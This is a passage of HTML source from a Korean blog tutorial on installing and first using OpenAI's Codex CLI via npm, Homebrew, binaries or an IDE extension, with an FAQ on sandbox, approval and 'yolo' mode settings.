          &quot;name&quot;: &quot;Codex CLI를 처음 설치할 때 어떤 방법이 가장 무난한가?&quot;,
          &quot;acceptedAnswer&quot;: {
            &quot;@type&quot;: &quot;Answer&quot;,
            &quot;text&quot;: &quot;Node.js가 이미 있다면 npm 설치가 가장 단순하다. macOS 사용자는 Homebrew도 선택할 수 있고, 설치 직전 공식 quickstart와 GitHub README의 최신 표기를 함께 확인하는 편이 안전하다.&quot;
          }
        },
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;Codex CLI에서 sandbox와 approval은 무엇이 다른가?&quot;,
          &quot;acceptedAnswer&quot;: {
            &quot;@type&quot;: &quot;Answer&quot;,
            &quot;text&quot;: &quot;sandbox는 Codex가 접근하거나 수정할 수 있는 파일과 네트워크 범위를 제한하는 울타리다. approval은 위험한 명령이나 제한 밖 작업을 실행하기 전에 사용자 확인을 받을지 정하는 정책이다.&quot;
          }
        },
        {
          &quot;@type&quot;: &quot;Question&quot;,
          &quot;name&quot;: &quot;yolo 모드는 언제 써도 되는가?&quot;,
          &quot;acceptedAnswer&quot;: {
            &quot;@type&quot;: &quot;Answer&quot;,
            &quot;text&quot;: &quot;위험을 정확히 이해하고, 버릴 수 있는 VM이나 임시 컨테이너처럼 격리된 환경을 준비한 경우에만 고려한다. 일반 프로젝트나 중요한 저장소에서는 기본 사용 모드로 두지 않는 편이 안전하다.&quot;
          }
        }
      ]
    }
  ]
}
&lt;/script&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2672&quot; data-origin-height=&quot;1506&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwaZZe/dJMcagZGACQ/3KVpqeUTkCVGEKtYiKgHj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwaZZe/dJMcagZGACQ/3KVpqeUTkCVGEKtYiKgHj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwaZZe/dJMcagZGACQ/3KVpqeUTkCVGEKtYiKgHj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwaZZe%2FdJMcagZGACQ%2F3KVpqeUTkCVGEKtYiKgHj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2672&quot; height=&quot;1506&quot; data-origin-width=&quot;2672&quot; data-origin-height=&quot;1506&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Codex에 대해 처음 글을 작성한 지 꽤 오래되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요즘 Claude Code 요금 부담 때문에 Codex를 다시 살펴보는 분들이 많아진 것 같다. 그래서 이번에는 기초부터 다시 정리해보려 한다. 이 글에서는 &lt;b&gt;Codex CLI&lt;/b&gt;, 즉 터미널에서 쓰는 Codex를 중심으로 설치, 로그인, 첫 명령 실행, 안전하게 쓰는 기본 습관까지 실제로 따라 할 수 있는 순서로 다룬다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 10px 15px; border-radius: 6px; border: 1px solid #dee2e6; margin: 15px 0; font-size: 14px; color: #6c757d;&quot;&gt;이 글은 &lt;b&gt;2026년 5월&lt;/b&gt; 기준 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 문서(developers.openai.com/codex)&lt;/a&gt;를 바탕으로 작성되었다. 기능은 지속 업데이트되므로 최신 정보는 공식 문서에서 확인한다.&lt;/div&gt;
&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;먼저 용어부터 가볍게 잡고 가자.&lt;/b&gt;&lt;br /&gt;CLI는 마우스로 누르는 앱이 아니라 &lt;b&gt;터미널에 명령어를 입력해서 쓰는 도구&lt;/b&gt;를 말한다. &lt;br /&gt;터미널은 macOS의 Terminal, Windows의 PowerShell처럼 글자로 명령을 실행하는 창이다. &lt;br /&gt;저장소(repo)는 프로젝트 코드가 들어 있는 폴더라고 이해하면 된다.&lt;/div&gt;
&lt;!-- 시리즈 네비게이션 박스 (상단) --&gt;
&lt;div style=&quot;background-color: #e8f4f8; border: 2px solid #0066cc; border-radius: 8px; padding: 15px; margin: 20px 0;&quot;&gt;&lt;b&gt;OpenAI Codex 개발자 시리즈&lt;/b&gt;
&lt;div style=&quot;margin-top: 10px; display: flex; gap: 10px; flex-wrap: wrap; align-items: center;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: white; padding: 5px 12px; border-radius: 15px; font-size: 14px; font-weight: bold;&quot;&gt;Part 1: CLI 빠른 시작 (현재 글)&lt;/span&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/597&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 2: 핵심 개념 4가지&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/598&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 3: Subagents &amp;middot; Workflows&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/599&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 4: AGENTS.md &amp;middot; Rules&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/600&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 5: MCP &amp;middot; Plugins &amp;middot; Skills (예정)&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/601&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 6: 자동화&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/602&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 7: 마이그레이션&lt;/a&gt; &lt;a style=&quot;color: #0066cc; text-decoration: none; padding: 5px 12px; border: 1px solid #0066cc; border-radius: 15px; font-size: 14px;&quot; href=&quot;https://goddaehee.tistory.com/603&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 8: 슬래시 명령어 정리(예정)&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;!-- 섹션 1: 설치하기 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 설치하기&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2162&quot; data-origin-height=&quot;1174&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpjFCI/dJMcabRC2f4/GbgJAsgDqgRXVQ93XqYwSK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpjFCI/dJMcabRC2f4/GbgJAsgDqgRXVQ93XqYwSK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpjFCI/dJMcabRC2f4/GbgJAsgDqgRXVQ93XqYwSK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpjFCI%2FdJMcabRC2f4%2FGbgJAsgDqgRXVQ93XqYwSK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2162&quot; height=&quot;1174&quot; data-origin-width=&quot;2162&quot; data-origin-height=&quot;1174&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Codex CLI는 OpenAI의 로컬 터미널용 코딩 에이전트다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/openai/codex&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 GitHub 저장소&lt;/a&gt;를 보면 Rust 중심으로 구현된 오픈소스 프로젝트라는 점도 확인할 수 있다. Rust는 빠르고 안정적인 프로그램을 만들 때 자주 쓰는 프로그래밍 언어이고, 오픈소스는 소스 코드가 공개되어 누구나 확인할 수 있다는 뜻이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;macOS, Windows(PowerShell 또는 WSL2), Linux를 모두 지원한다. Windows에서는 PowerShell에서 네이티브로 실행할 수 있고, Linux 환경이 필요하면 WSL2를 사용할 수 있다. 설치 방법은 크게 세 가지다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2154&quot; data-origin-height=&quot;1174&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6Gxoj/dJMcadol1kr/FynuHMR8fuuN55CxbeQ8P1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6Gxoj/dJMcadol1kr/FynuHMR8fuuN55CxbeQ8P1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6Gxoj/dJMcadol1kr/FynuHMR8fuuN55CxbeQ8P1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6Gxoj%2FdJMcadol1kr%2FFynuHMR8fuuN55CxbeQ8P1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2154&quot; height=&quot;1174&quot; data-origin-width=&quot;2154&quot; data-origin-height=&quot;1174&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;1.1 npm으로 설치&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음 시도하기 좋은 방법이다. Node.js가 설치되어 있다면 바로 사용할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;npm은 Node.js 패키지를 설치하는 도구라서, 자바스크립트 개발을 해본 분들에게는 익숙할 것이다.&lt;/p&gt;
&lt;pre class=&quot;coffeescript&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;npm install -g @openai/codex&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패키지명은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;@openai/codex&lt;/code&gt;다. 처음이라면 위 명령어를 그대로 복사해 실행하면 된다. 나중에 최신 버전으로 업데이트할 때는 다음 명령어를 쓴다.&lt;/p&gt;
&lt;pre class=&quot;coffeescript&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;npm install -g @openai/codex@latest&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;1.2 Homebrew로 설치 (macOS)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;macOS를 사용한다면 Homebrew로도 설치할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Homebrew는 맥에서 개발 도구를 설치할 때 많이 쓰는 패키지 관리자다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 2026년 5월 기준으로 공식 문서와 GitHub README의 명령어 표기가 다르다.&lt;/p&gt;
&lt;pre class=&quot;mipsasm&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# GitHub README(https://github.com/openai/codex) 기준
brew install --cask codex

# 공식 quickstart(developers.openai.com/codex/quickstart) 기준
brew install codex&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음 설치할 때는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/quickstart&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 quickstart&lt;/a&gt;의 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;brew install codex&lt;/code&gt;를 먼저 기준으로 삼고, 환경에 따라 동작하지 않으면 GitHub README에 적힌 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--cask&lt;/code&gt; 방식을 확인하는 식으로 접근하는 편이 안전하다. 이 부분은 문서 간 표기가 엇갈리므로, 설치 직전 최신 문서를 다시 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;1.3 바이너리 직접 다운로드&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;npm이나 Homebrew를 사용하기 어려운 환경이라면, &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/openai/codex&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Releases&lt;/a&gt;에서 플랫폼별 바이너리를 직접 내려받을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바이너리는 설치 파일이나 실행 파일에 가까운 형태라고 보면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;macOS(Apple Silicon/x86_64), Linux(x86_64/arm64) 옵션이 제공된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;1.4 터미널이 부담스럽다면 IDE 확장으로 시작&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글은 CLI 기준으로 설명하지만, Codex를 꼭 터미널에서만 써야 하는 것은 아니다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://openai.com/ko-KR/index/introducing-upgrades-to-codex/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI의 Codex 업그레이드 발표&lt;/a&gt;와 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/ide&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 IDE 확장 문서&lt;/a&gt;에 따르면 Codex는 에디터 안에서도 사용할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서 기준으로 VS Code, VS Code Insiders, Cursor, Windsurf 같은 VS Code 계열 에디터와 JetBrains IDE 통합을 지원한다. 설치 후에는 에디터 사이드바에서 Codex를 열고, ChatGPT 계정 또는 API 키로 로그인해 사용할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex는 에디터에서 열어둔 파일, 선택한 코드, 현재 작업 중인 맥락을 참고할 수 있다. 그래서 터미널에서 파일 경로를 길게 적는 대신, 에디터에서 문제 구간을 선택한 뒤 &quot;이 부분 왜 실패하는지 봐줘&quot;처럼 짧게 요청해도 시작하기 쉽다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1720&quot; data-origin-height=&quot;1126&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d2Rm7Y/dJMcagZGBlV/tvkbrxJ58MbaCRtI4DK12k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d2Rm7Y/dJMcagZGBlV/tvkbrxJ58MbaCRtI4DK12k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d2Rm7Y/dJMcagZGBlV/tvkbrxJ58MbaCRtI4DK12k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd2Rm7Y%2FdJMcagZGBlV%2FtvkbrxJ58MbaCRtI4DK12k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1720&quot; height=&quot;1126&quot; data-origin-width=&quot;1720&quot; data-origin-height=&quot;1126&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;ex) Cursor에 설치해 보도록 하자. Cursor 클릭시 빈 브라우저 새창이 열리면서 다음과 같이 컨펌 창이 열린다. Cursor 열기 클릭.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;890&quot; data-origin-height=&quot;408&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEFrdw/btsQIRjItNt/emMKOi6pfmFfqG0Qdd0ACK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEFrdw/btsQIRjItNt/emMKOi6pfmFfqG0Qdd0ACK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEFrdw/btsQIRjItNt/emMKOi6pfmFfqG0Qdd0ACK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEFrdw%2FbtsQIRjItNt%2FemMKOi6pfmFfqG0Qdd0ACK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;439&quot; height=&quot;201&quot; data-origin-width=&quot;890&quot; data-origin-height=&quot;408&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 바로 Install을 클릭하여 설치해보자.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1866&quot; data-origin-height=&quot;1334&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/O0N4g/dJMcaiwq5ec/yF8yWVOqit17VMkFMolpl1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/O0N4g/dJMcaiwq5ec/yF8yWVOqit17VMkFMolpl1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/O0N4g/dJMcaiwq5ec/yF8yWVOqit17VMkFMolpl1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FO0N4g%2FdJMcaiwq5ec%2FyF8yWVOqit17VMkFMolpl1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1866&quot; height=&quot;1334&quot; data-origin-width=&quot;1866&quot; data-origin-height=&quot;1334&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 좌상한(다른 위치에 있을수 있는데 꽃 보양의 이모티콘을 찾아보자) 패널을 클릭해보면 Codex Extension이 설치 되어있는것을 볼 수 있다. 클릭해 보자.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;744&quot; data-origin-height=&quot;518&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eFMJGY/dJMcaaLYGVc/PJfkRHt6mruYjBnPHuXmgK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eFMJGY/dJMcaaLYGVc/PJfkRHt6mruYjBnPHuXmgK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eFMJGY/dJMcaaLYGVc/PJfkRHt6mruYjBnPHuXmgK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeFMJGY%2FdJMcaaLYGVc%2FPJfkRHt6mruYjBnPHuXmgK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;355&quot; height=&quot;247&quot; data-origin-width=&quot;744&quot; data-origin-height=&quot;518&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- CODEX 플러그인이 활성화 되는데, Next 를 눌르며 읽어보자.&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ftwj8/dJMcagMcONq/LvieZBbDWjUCqKMmElQKHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ftwj8/dJMcagMcONq/LvieZBbDWjUCqKMmElQKHk/img.png&quot; style=&quot;width: 48.7072%; margin-right: 10px;&quot; width=&quot;371&quot; height=&quot;635&quot; data-origin-width=&quot;742&quot; data-origin-height=&quot;1270&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;49.28&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ftwj8/dJMcagMcONq/LvieZBbDWjUCqKMmElQKHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFtwj8%2FdJMcagMcONq%2FLvieZBbDWjUCqKMmElQKHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;742&quot; height=&quot;1270&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dXt2Yz/dJMcaaFd5Vp/huWQ7JQ8e6hSKSum6yvtaK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dXt2Yz/dJMcaaFd5Vp/huWQ7JQ8e6hSKSum6yvtaK/img.png&quot; style=&quot;width: 50.13%;&quot; data-origin-width=&quot;730&quot; data-origin-height=&quot;1214&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50.72&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dXt2Yz/dJMcaaFd5Vp/huWQ7JQ8e6hSKSum6yvtaK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdXt2Yz%2FdJMcaaFd5Vp%2FhuWQ7JQ8e6hSKSum6yvtaK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;730&quot; height=&quot;1214&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c7xv7k/dJMcaad8TrI/qRKFSmmtXlpURyYzZq6Wak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c7xv7k/dJMcaad8TrI/qRKFSmmtXlpURyYzZq6Wak/img.png&quot; style=&quot;width: 49.8675%; margin-right: 10px; margin-top: 10px;&quot; data-origin-width=&quot;718&quot; data-origin-height=&quot;1170&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50.45&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c7xv7k/dJMcaad8TrI/qRKFSmmtXlpURyYzZq6Wak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc7xv7k%2FdJMcaad8TrI%2FqRKFSmmtXlpURyYzZq6Wak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;718&quot; height=&quot;1170&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mONFW/dJMcahK6kII/0VhwPR97XQseqAT9KhSPDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mONFW/dJMcahK6kII/0VhwPR97XQseqAT9KhSPDk/img.png&quot; style=&quot;width: 48.9697%; margin-top: 10px;&quot; data-origin-width=&quot;734&quot; data-origin-height=&quot;1218&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;49.55&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mONFW/dJMcahK6kII/0VhwPR97XQseqAT9KhSPDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmONFW%2FdJMcahK6kII%2F0VhwPR97XQseqAT9KhSPDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;734&quot; height=&quot;1218&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- Try GPT-5.5 now 를 클릭하면 이제 CODEX 플러그인도 사용할 준비가 되었다.&lt;/p&gt;
